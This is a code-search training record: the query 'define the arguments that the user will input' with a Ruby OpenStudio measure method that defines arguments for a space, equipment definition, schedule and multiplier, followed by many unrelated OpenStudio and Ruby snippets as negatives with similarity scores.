"def modeler_description\n 'It will be used for calibration of WaterHeaterMixed. User can choose between a SINGLE WaterHeaterMixed or ALL the WaterHeaterMixed objects.'\n end",
"def modeler_description\n return \"It will be used for calibration of inlet water temperatures, inlet and outlet air temperatures and design flowrates. User can choose between a SINGLE coil or ALL the Coils.\"\n end",
"def modeler_description\n return 'Find the exterior lighting template for the building, and assume the existing efficiency level in the model (low, medium, high). Find the desing level and multiplier for each category of the exterior lighting definition. Apply the lighting upgrades by reducing the design level associated with each outdoor lighting category by a percent (depends on starting and target efficiency levels).'\n end",
"def modeler_description\n return 'Change UrbanOpt Scenario CSV'\n end",
"def modeler_description\n return 'Calculate thermal capacitance and UA for surfaces, furniture, and spaces.'\n end",
"def modeler_description\n return 'Reports resilience metric(s) of interest.'\n end",
"def modeler_description\n return \"The default space types in the measure inputs are automatically filled by the spaces' standard space types. User can overwrite the default assumptions in the library.csv file in the measure's resources folder.\"\n end",
"def modeler_description\n return 'Find the interior lighting template for the building, and assume the existing efficiency level in the model (low, medium, high, very high). Find the LPD and LPD fractions for each space type. Apply the lighting upgrades by reducing the LPD associated with compact lighting by a percent (depends on starting and target efficiency levels).'\n end",
"def modeler_description\n 'Run a simulation to autosize HVAC equipment and then apply these autosized values back to the model.'\n end",
"def modeler_description\r\n return \"E+ measure to popolate the Kiva settings values\"\r\n end",
"def modeler_description\n return 'This method calculates the annualized coefficient of performance (Btu out / Btu in) of equipment in the model from the annual simulation. This is used in Scout as the equipment efficiency for the technology competition categories.'\n end",
"def modeler_description\n return 'This will only impact schedule rulesets. It will use methods in openstudio-standards to infer hours of operation, develop a parametric formula for all of the ruleset schedules, alter the hours of operation inputs to that formula and then re-apply the schedules. Input is expose to set ramp frequency of the resulting schedules. If inputs are such that no changes are requested, bypass the measure with NA so that it will not be parameterized. An advanced option for this measure would be bool to use hours of operation from OSM schedule ruleset hours of operation instead of inferring from standards. This should allow different parts of the building to have different hours of operation in the seed model.'\n end",
"def modeler_description\n return \"Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.\"\n end",
"def modeler_description\n return \"Any supply components or baseboard convective electrics/waters are removed from any existing air/plant loops or zones. Any existing air/plant loops are also removed. A heating DX coil, cooling DX coil, electric supplemental heating coil, and an on/off supply fan are added to a unitary air loop. The unitary air loop is added to the supply inlet node of the air loop. This air loop is added to a branch for the living zone. A diffuser is added to the branch for the living zone as well as for the finished basement if it exists.\"\n end",
"def modeler_description\r\n return 'modify simulation timestep'\r\n end",
"def modeler_description\n return 'Will add the necessary UtilityCost objects and associated schedule into the model.'\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def modeler_description\n return 'Passes in all arguments from the options lookup, processes them, and then registers values to the runner to be used by other measures.'\n end",
"def modeler_description\n return 'Daylighting controls will physically add in daylighting controls to spaces in the building, while occupancy control will reduce lighting schedules by 10%.'\n end",
"def modeler_description\n return 'This measure is used to calibrate the BRICR baseline model.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to model the performance of HVAC equipment that cannot be represented well by using single “standard” performance curve objects (cubic, quadratic, biquadratic, etc.) For example, properly characterizing some HVAC equipment objects requires using different performance curves that cover operation of different parts of the performance regime. This measure will alter (overwrite) the Coil Cooling DX Single Speed Cooling Capacity as a function of temperature performance curve object and attributes used by the simulation if the outdoor air temperature falls below a user defined threshold. This measure allows the user to define the biquadratic curve coefficients associated with the Coil Cooling DX Single Speed Cooling Capacity.\"\n end",
"def modeler_description\n return \"This EEM adds EMS logic to the model that actuates the infiltration, HVAC operation, cooling set point, and heating set point schedules. The measure first identifies the schedule HVAC stopping point by day of week (Saturday, Sunday, and Weekdays). Early HVAC system shutoff is determined entirely by the outdoor air temperature (OAT). If the OAT is less than or equal to 2C or greater than or equal to 18C, then no action is taken. The HVAC system is shut off one hour early when the OAT is between 12C and 18C. The HVAC system shut off time varies linearly with OAT from one hour to zero hours between 12C and 2C, and between 18C and 28C. AvailabilityManager:OptimumStart objects are inserted for each HVAC system in the model and use the AdaptiveASHRAE algorithm to dynamically adjust HVAC startup time each day.\"\n end",
"def modeler_description\n return \"Multipliers for LPD, EPD, and people densities.\"\n end",
"def modeler_description\n return \"This measure takes the user selected standards space type and sets the interior lighting and equipment load definitions subcategory to match the space type name. \"\n end",
"def modeler_description\n return 'Will add the necessary UtilityCost objects into the model.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to override specified thermostat control logic and set alternate modes of operation. This EMS measure sets a specific (user defined) indoor VRF terminal unit to operate at a specific (user-defined) part load ratio, constrained by operate minimum and maximum outdoor temperature limits of the paired condenser unit. The main input objects that implement this example are the variable refrigerant flow actuators that control the VRF system and specific terminal unit. Note that the terminal unit PLR can be controlled without controlling the mode of the VRF condenser, however, the specific terminal unit will operate in whatever mode the existing operation control scheme chooses. This example program simply “sets” the operating mode and PLR, other more complex control algorithms can be developed by the user as needed\"\n end",
"def modeler_description\n return 'This measure swaps old cases with 2017 code compliant cases and more efficient ones.'\n end",
"def modeler_description\n return \"The example demonstrates the use of a thermostat schedule object as and EMS actuator object. The EMS program alters the scheduled values as a function of hour of day and day of week.\"\n end",
"def modeler_description\n 'This measure changes the Layer 0 properties of Thickness, Density, Thermal Absorptance, Solar Absorptance, Visible Absoptance, Thermal Conductivity, Specific Heat.'\n end",
"def modeler_description\n return \"The measure loops through the AirLoops associated with the model, and determines an occupancy weighted schedule with values of 1 or 0 based on the percent of peak occupancy at the timestep being above or below a set threshold value of 5 percent. The resulting occupancy schedule is applied to the airloop attribute for the availability schedule. The measure then loops through all thermal zones, examining if there are zone equipment objects attached. If there are one or more zone equipment object attached to the zone, a thermal zone occupancy weighted schedule with values of 1 or 0 based on the percent of peak occupancy at the timestep being above or below a set threshold value of 5 percent is generated. The schedule is then assigned to the availability schedule of the associated zone equipment. To prevent energy use by any corresponding plant loops, the pump control type attribute of Constant or Variable speed pump objects in the model are set to intermittent. The measure them adds heating and cooling unmet hours and Simplified ASHRAE Standard 55 warning reporting variable to each thermal zone. \"\n end",
"def modeler_description\r\n return \"This measure loops through the existing airloops, looking for loops that have a constant speed fan. (Note that if an object such as an AirloopHVAC:UnitarySystem is present in the model, that the measure will NOT identify that loop as either constant- or variable-speed, since the fan is located inside the UnitarySystem object.) The user can designate which constant-speed airloop they'd like to apply the measure to, or opt to apply the measure to all airloops. The measure then replaces the supply components on the airloop with an AirloopHVAC:UnitarySystem object. Any DX coils added to the UnitarySystem object are of the type CoilCoolingDXMultiSpeed / CoilHeatingDXMultiSpeed, with the number of stages set to either two or four, depending on user input. If the user opts for a gas furnace, an 80% efficient CoilHeatingGas object is added. Fan properties (pressure rise and total efficiency) are transferred automatically from the existing (but deleted) constant speed fan to the new variable-speed fan. Currently, this measure is only applicable to the Standalone Retail DOE Prototype building model, but it has been structured to facilitate expansion to other models with a minimum of effort.\"\r\n end",
"def modeler_description\n return \"The measure loops through the heating and cooling thermostat schedules associated each thermal zone. The existing heating and cooling schedules are cloned, and the all run period profiles are then modified by adding a +1.5 deg F shift to the all values of the cooling thermostat schedule and a -1.5 degree F shift to all values of the heating thermostat schedule. Design Day profiles are not modified. The modified thermostat schedules are then assigned to the thermal zone. For each Thermal Zone, ASHRAE 55 Thermal Comfort Warnings is also enabled. Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status output variables is also added to the model.\"\n end",
"def modeler_description\r\n return \"The Measure adds a Schedule Availability Manager to the Selected Plant Loop\"\r\n end",
"def modeler_description\n return 'Converts the OpenStudio model to vA3C JSON format and renders using Three.js, simulation data is applied to surfaces of the model'\n end",
"def modeler_description\n return 'This energy efficiency measure (EEM) replaces all cooling tower objects in a model of the following types: (OS:CoolingTowerPerformanceCoolTools, OS:CoolingTowerPerformanceYorkCalc, OS:CoolingTowerSingleSpeed, OS:CoolingTowerTwoSpeed, or OS:CoolingTowerVariableSpeed) with a new OS:CoolingTower:VariableSpeed object. If an existing cooling tower is already configured for variable speed, the measure will inform the user. When replacing an existing tower object, the following values from the existing tower configuration will be reused: Design Inlet Air Wet Bulb Temp, Design Approach Temperature, Design Range Temperature, Design Water Flow Rate, Design Air Flow Rate, Design Fan Power, Fraction of Tower Capacity in the Free Convection Regime, Basin Heater Capacity, Basin Heater Setpoint Temperature, Basin Heater Operating Schedule, Number of Cells, Cell Control, Cell Minimum and Maximum Water Flow Rate Fractions and Sizing Factor. A performance curve relating fan power to tower airflow rates is used. The curve assumes the fan power ratio is directly proportional to the air flow rate ratio cubed. A Minimum Air Flow Rate Ratio of 20% will be set. To model minimal but realistic water consumption, the Evaporation Loss Mode for new Tower objects will be set to ?Saturated Exit? and Drift Loss Percent will be set to a value of 0.05% of the Design Water Flow. Blowdown water usage will be based on maintaining a Concentration Ratio of 3.0.'\n end",
"def make_and_model; end",
"def modeler_description\n return 'Replaces exterior window constructions with a different construction from the model.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to investigate dynamic envelope technologies such as emulating thermochromic window performance using EMS actuators and control types. This measure will replace the construction description of a user-selected window based on the outside surface temperature of that window, evaluated at each timestep\"\n end",
"def modeler_description\n return \"This measure will demonstrate how EMS functions can be used to demonstrate how information from a sizing run can be used to select HVAC equipment from nominal product sizes where unit total capacity is directly related to the unit supply airflow (1 ton = 1200 cfm, 1.5 ton = 1600 cfm, etc.) of commercial packaged single-zone HVAC air systems. This measure is designed to work on AirLoops with packaged DX cooling equipment only. EMS functions will be used to extract the design supply airflow generated from system auto-sizing calculations. An interval variable is used to override the Sizing:System - 'Intermediate Air System Main Supply Volume Flow Rate' value variable. This measure approximates the manner that appropriate ‘real world’ equipment selections are made by HVAC design engineers. The table below will be used to map to the Maximum Flow rate of the packaged unit Fan:ConstantVolume object.\"\n end",
"def modeler_description\n return \"This measure adds active or passive chilled beam units to selected conditioned thermal zones. In addition the user can select an existing air loop to serve active beams, or create a new Dual Wheel DOAS. Users can also select an existing chilled water loop to provide chilled water to beams, or create a new high temperature chiller water loop. Users are highly encouraged to review and modify the control strategies that this measure creates, such that it reflects their modeling scenario of interest.\"\n end",
"def modeler_description\n return \"The difference between actual spaces and effective spaces takes into account the zone multipliers. The goal was to get average floor area assuming that each space represents a room vs. a collection of rooms. This was used to help determine average space sizes of different space types from the prototype buildings. In some cases I had to manaually adjust for where a space didn't map to a single room.\"\n end",
"def modeler_description\n return \"Any heating components or baseboard convective electrics/waters are removed from any existing air/plant loops or zones. A boiler along with constant speed pump and water baseboard coils are added to a hot water plant loop.\"\n end",
"def modeler_description\n return 'Thermal zones will be named after the spac with a prefix added'\n end",
"def inspect\n \"#<#{self.class.name} @model=#{model.name} @relation_name=#{relation_name} @repository=#{self.class.repository}>\"\n end",
"def inspect\n \"#<#{self.class.name} @model=#{model.inspect} @name=#{name.inspect}>\"\n end",
"def modeler_description\n return \"Reduces runtime fraction of lights by user-specified amount during the user-specified time period (typically daytime). This is an attempt to represent the impact of using the light collected on the roof instead of electric lighting. This modeling approach does not capture the impact of using a PV cell to turn the IR spectrum of the captured light into electricity.\"\n end",
"def modeler_description\n return 'This measure receives the AntiSweat heater Control from the user. Then it looks for refrigerated display cases; it loops through them; it checks the current AntiSweat heater Control of each case and it substitute it with the one chosen by the user.'\n end"
] | [
"0.7710149",
"0.75934714",
"0.74018747",
"0.7299891",
"0.7296635",
"0.727943",
"0.71912926",
"0.71912926",
"0.7191264",
"0.7100944",
"0.70977926",
"0.70629936",
"0.7045383",
"0.7044268",
"0.70413125",
"0.7040473",
"0.7032938",
"0.70267737",
"0.70182866",
"0.69875926",
"0.6980763",
"0.69496983",
"0.69420075",
"0.6936087",
"0.6927004",
"0.6908837",
"0.6901907",
"0.6893215",
"0.6888214",
"0.68663764",
"0.6865241",
"0.68641704",
"0.68588334",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6833133",
"0.68219167",
"0.68055475",
"0.6791062",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67796487",
"0.6773994",
"0.6751447",
"0.67244256",
"0.6720888",
"0.6716974",
"0.6708703",
"0.67021894",
"0.668961",
"0.66878057",
"0.6672712",
"0.6662903",
"0.6649447",
"0.6643762",
"0.6634445",
"0.66330194",
"0.662195",
"0.6616422",
"0.6616422",
"0.66100585",
"0.659982",
"0.6589568",
"0.6588373",
"0.65865505",
"0.6584234",
"0.65638506",
"0.6560483",
"0.6554784",
"0.65097153",
"0.64903986",
"0.64771026",
"0.6466807",
"0.6462787",
"0.6450267",
"0.6443914",
"0.64391804",
"0.6431919",
"0.6429849",
"0.6426015",
"0.6422519",
"0.6421918",
"0.64181775",
"0.6415888",
"0.6409096",
"0.64074343",
"0.64067763",
"0.6405944",
"0.64003026",
"0.6370144"
] | 0.76145315 | 1 |
define the arguments that the user will input | def arguments(model)
args = OpenStudio::Ruleset::OSArgumentVector.new
# make argument for space
space = OpenStudio::Ruleset::makeChoiceArgumentOfWorkspaceObjects("space","OS_Space".to_IddObjectType,model,true)
space.setDisplayName("Select Space for Load Instance")
args << space
# make argument for definition
elec_equip_def = OpenStudio::Ruleset::makeChoiceArgumentOfWorkspaceObjects("elec_equip_def","OS_ElectricEquipment_Definition".to_IddObjectType,model,true)
elec_equip_def.setDisplayName("Select Electric Equipment Definition")
args << elec_equip_def
# make argument for schedule
# todo - setup so only shows fractional schedules, and with any kind of schedule OS_Schedule
schedule = OpenStudio::Ruleset::makeChoiceArgumentOfWorkspaceObjects("schedule","OS_Schedule_Ruleset".to_IddObjectType,model,true)
schedule.setDisplayName("Select Fractional Schedule")
args << schedule
# make argument for multiplier
multiplier = OpenStudio::Ruleset::OSArgument.makeDoubleArgument("multiplier", true)
multiplier.setDisplayName("Load Instance Multiplier")
multiplier.setDescription("Identify the number of these load objects to add to the space.")
multiplier.setDefaultValue(1)
args << multiplier
# todo - add argument for fraction of load lost (for traction elevators)
return args
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def arguments\n \"\"\n end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def get_input \n puts \"to save this game, input 's,filename'\"\n puts \"to load a game, input 'l,filename'\"\n puts \"input a coordinate to access. prefix with r for reveal or f for flag\"\n puts \"example 'f,1,2' places a flag at 1,2\"\n input = gets.chomp\n \n args = input.split(',')\n end",
"def args(*) end",
"def arguments(required, *optional)\n puts \"required: #{required}\"\n puts \"optional: #{optional}\"\nend",
"def args()\n #This is a stub, used for indexing\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for the variable name\n variable_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"variable_name\",true)\n variable_name.setDisplayName(\"Enter Variable Name.\")\n variable_name.setDescription(\"Valid values can be found in the eplusout.rdd file after a simulation is run.\")\n args << variable_name\n \n #make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Zone Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency.\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n\n #make an argument for the key_value\n key_value = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"key_value\",true)\n key_value.setDisplayName(\"Enter Key Name.\")\n key_value.setDescription(\"Enter * for all objects or the full name of a specific object to.\")\n key_value.setDefaultValue(\"*\")\n args << key_value\n \n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\n env.setDisplayName(\"availableEnvPeriods\")\n env.setDescription(\"availableEnvPeriods\")\n env.setDefaultValue(\"RUN PERIOD 1\")\n args << env\n \n return args\n end",
"def set_arguments (args)\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument for the variable name\n variable_name = OpenStudio::Measure::OSArgument.makeStringArgument('variable_name', true)\n variable_name.setDisplayName('Enter Variable Name.')\n variable_name.setDescription('Valid values can be found in the eplusout.rdd file after a simulation is run.')\n args << variable_name\n\n # make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency.')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n # make an argument for the key_value\n key_value = OpenStudio::Measure::OSArgument.makeStringArgument('key_value', true)\n key_value.setDisplayName('Enter Key Name.')\n key_value.setDescription('Enter * for all objects or the full name of a specific object to.')\n key_value.setDefaultValue('*')\n args << key_value\n\n env = OpenStudio::Measure::OSArgument.makeStringArgument('env', true)\n env.setDisplayName('availableEnvPeriods')\n env.setDescription('availableEnvPeriods')\n env.setDefaultValue('RUN PERIOD 1')\n args << env\n\n args\n end",
"def handle_arguments(args)\n if input_file.nil?\n print_usage\n true\n else\n args.help || args.version\n end\n end",
"def arguments=(_arg0); end",
"def command_line\r\n ARGV.each do |arg|\r\n if arg == \"instructions\"\r\n instructions\r\n elsif arg == \"calculator\"\r\n ask_for_digits\r\n else\r\n \r\n end\r\n end\r\n \r\n end",
"def prescreen_input(args)\n if ((args.nil?) || (args.empty?))\n ['-eq', Date.today.strftime('%Y-%m-%d')]\n elsif ((args.length == 1) && (args[0].is_date?))\n ['-eq', args[0]]\n else\n args\n end\nend",
"def varios_args(*args)\n puts \"Tamanho de args: #{args.size}\"\n args.each { |x| p x}\n end",
"def process_arguments\n @e_addr = @options.email\n @r_name = @options.run_names\n @m_name = @options.machine_names\n @action = @options.action\n @snfs = @options.snfs\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # url of the city database\n city_db_url = OpenStudio::Measure::OSArgument.makeStringArgument('city_db_url', true)\n city_db_url.setDisplayName('City Database Url')\n city_db_url.setDescription('Url of the City Database')\n city_db_url.setDefaultValue('')\n args << city_db_url\n\n # project id to update\n project_id = OpenStudio::Measure::OSArgument.makeStringArgument('project_id', true)\n project_id.setDisplayName('Project ID')\n project_id.setDescription('Project ID to generate reports for.')\n project_id.setDefaultValue('0')\n args << project_id\n\n # datapoint id to update\n datapoint_id = OpenStudio::Measure::OSArgument.makeStringArgument('datapoint_id', true)\n datapoint_id.setDisplayName('Datapoint ID')\n datapoint_id.setDescription('Datapoint ID to generate reports for.')\n datapoint_id.setDefaultValue('0')\n args << datapoint_id\n\n return args\n end",
"def validate_args (args)\n\t# todo\nend",
"def args() return @args end",
"def input=(_arg0); end",
"def process_inputs(args)\n @input = ((name = args[:in_file]) && (IO.read(name, mode: \"rb\"))) ||\n args[:in_str] ||\n fail(\"An input must be specified.\")\n\n @generator = args[:generator] ||\n ((key = args[:key]) && Generator.new(key)) ||\n fail(\"A key or generator must be specified.\")\n\n @window = args[:window] || 16\n\n #The filler value is for testing purposes only. It should\n #not be specified when secure operation is desired.\n @fill_value = args[:filler]\n end",
"def parse_args\r\n if(cmd.args =~ /\\=/)\r\n self.names = InputFormatter.titlecase_arg(cmd.args.before(\"=\"))\r\n self.action_args = cmd.args.after(\"=\")\r\n elseif (cmd.args && one_word_command)\r\n self.names = InputFormatter.titlecase_arg(cmd.args)\r\n self.action_args = \"\"\r\n else\r\n self.names = enactor.name\r\n self.action_args = cmd.args\r\n end\r\n\r\n self.names = self.names ? self.names.split(/[ ,]/) : nil\r\n\r\n self.combat_command = cmd.switch ? cmd.switch.downcase : nil\r\n end",
"def manage_args(*args)\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make an argument for your name\n user_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"user_name\",true)\n user_name.setDisplayName(\"What is your name?\")\n args << user_name\n\n #make an argument to add new space true/false\n add_space = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"add_space\",true)\n add_space.setDisplayName(\"Add a space to your model?\")\n add_space.setDefaultValue(true)\n args << add_space\n \n return args\n end",
"def greeting\n puts \"Hello, MTA rider! How can we help?\"\n puts \"please enter one of the following commands:\"\n puts \"lines / stops the_line / calculate Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"\n user_call, *user_args = gets.chomp\n user_args.to_s\n # user_args.split(\" \")\n # puts user_input\n\n if user_call == lines\n show_lines()\n elsif user_call == stops\n show_stops(user_args[0])\n elsif user_call == calculate\n if user_args.length < 4\n puts 'please enter \"Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"'\n puts 'or enter \"exit\" to return to the home screen' \n user_input = gets.chomp\n if user_input == \"exit\"\n greeting()\n end \n user_input = user_input.split(\" \")\n calculate(user_input[0], user_input[1], user_input[2], user_input[3])\n else\n calculate(user_args[0], user_args[1], user_args[2], user_args[3])\n end\n else\n \n end\nend",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n\n\n # Make an argument for evap effectiveness\n input_csv_path = OpenStudio::Measure::OSArgument::makeStringArgument(\"input_csv_folder_path\",true)\n input_csv_path.setDisplayName(\"raw_data_input_folder_path\")\n input_csv_path.setDefaultValue(\"data_file\")\n args << input_csv_path\n\n test_numbers = OpenStudio::StringVector.new\n test_numbers << 'Test_3'\n test_numbers << 'Test_6'\n test_numbers << 'Test_8'\n \n test_names = OpenStudio::StringVector.new\n test_names << 'UA_test'\n test_names << 'Cooling_test'\n test_names << 'Plenum_test'\n\n test_selections = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('test_data',test_numbers,test_names,true)\n\n \n test_selections.setDisplayName(\"Experiment\")\n test_selections.setDefaultValue(\"Test_3\")\n args << test_selections\n\n \n return args\n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # URL of the DEnCity server that will be posted to\n hostname = OpenStudio::Ruleset::OSArgument::makeStringArgument('hostname', true)\n hostname.setDisplayName('URL of the DEnCity Server')\n hostname.setDefaultValue('http://www.dencity.org')\n args << hostname\n\n # DEnCity server user id at hostname\n user_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('user_id',true)\n user_id.setDisplayName('User ID for DEnCity Server')\n args << user_id\n\n # DEnCIty server user id's password\n auth_code = OpenStudio::Ruleset::OSArgument::makeStringArgument('auth_code', true)\n auth_code.setDisplayName('Authentication code for User ID on DEnCity server')\n args << auth_code\n\n # Building type for DEnCity's metadata\n building_type = OpenStudio::Ruleset::OSArgument::makeStringArgument('building_type', false)\n building_type.setDisplayName('Building type')\n args << building_type\n\n # HVAC system for DEnCity's metadata\n primary_hvac = OpenStudio::Ruleset::OSArgument::makeStringArgument('primary_hvac', false)\n primary_hvac.setDisplayName('Primary HVAC system in building')\n args << primary_hvac\n\n args\n\n end",
"def arguments\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n #make choice argument for facade\r\n choices = OpenStudio::StringVector.new\r\n choices << \"MessagePack\"\r\n choices << \"CSV\"\r\n choices << \"Both\"\r\n output_format = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"output_format\", choices)\r\n output_format.setDisplayName(\"Output Format\")\r\n output_format.setDefaultValue(\"Both\")\r\n args << output_format\r\n\r\n args\r\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\t\n #make an argument for entering furnace installed afue\n afue = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"afue\",true)\n afue.setDisplayName(\"Installed AFUE\")\n afue.setUnits(\"Btu/Btu\")\n afue.setDescription(\"The installed Annual Fuel Utilization Efficiency (AFUE) of the furnace, which can be used to account for performance derating or degradation relative to the rated value.\")\n afue.setDefaultValue(1.0)\n args << afue\n\n #make an argument for entering furnace installed supply fan power\n fanpower = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"fan_power_installed\",true)\n fanpower.setDisplayName(\"Installed Supply Fan Power\")\n fanpower.setUnits(\"W/cfm\")\n fanpower.setDescription(\"Fan power (in W) per delivered airflow rate (in cfm) of the indoor fan for the maximum fan speed under actual operating conditions.\")\n fanpower.setDefaultValue(0.5)\n args << fanpower\t\n\t\n #make a string argument for furnace heating output capacity\n furnacecap = OpenStudio::Measure::OSArgument::makeStringArgument(\"capacity\", true)\n furnacecap.setDisplayName(\"Heating Capacity\")\n furnacecap.setDescription(\"The output heating capacity of the furnace. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n furnacecap.setUnits(\"kBtu/hr\")\n furnacecap.setDefaultValue(Constants.SizingAuto)\n args << furnacecap\n \n return args\n end",
"def greeting(args)\r\n greet = args[:greet] || \"Hi\"\r\n title = args[:title] || \"Citizen\"\r\n name = args[:name] \r\n puts \"#{greet} #{title} #{name}\"\r\nend",
"def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\[email protected] do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend",
"def command_line_arguments(array)\n array.size.times do\n if array.include?('-nc')\n colour_changer(:white)\n array.delete('-nc')\n elsif array.any? { |x| ['-d1', '-d2', '-d3', '-d4'].include? x }\n key = (array[0])[1, 2].to_sym\n @difficulty = DIFFICULTY[key]\n @promptarr = prompt_select(key)\n @intro = false\n end\n end\n end",
"def arguments()\n args = OpenStudio::Measure::OSArgumentVector.new\n \n #make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n \n # TODO: argument for subset of output meters\n \n return args\n end",
"def arguments()\n args = OpenStudio::Measure::OSArgumentVector.new\n\n #make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"RunPeriod\"\n arg = OpenStudio::Measure::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n arg.setDisplayName(\"Reporting Frequency\")\n arg.setDefaultValue(\"Hourly\")\n args << arg\n\n #make an argument for including optional output variables\n arg = OpenStudio::Measure::OSArgument::makeBoolArgument(\"inc_output_variables\", true)\n arg.setDisplayName(\"Include Output Variables\")\n arg.setDefaultValue(false)\n args << arg\n\n return args\n end",
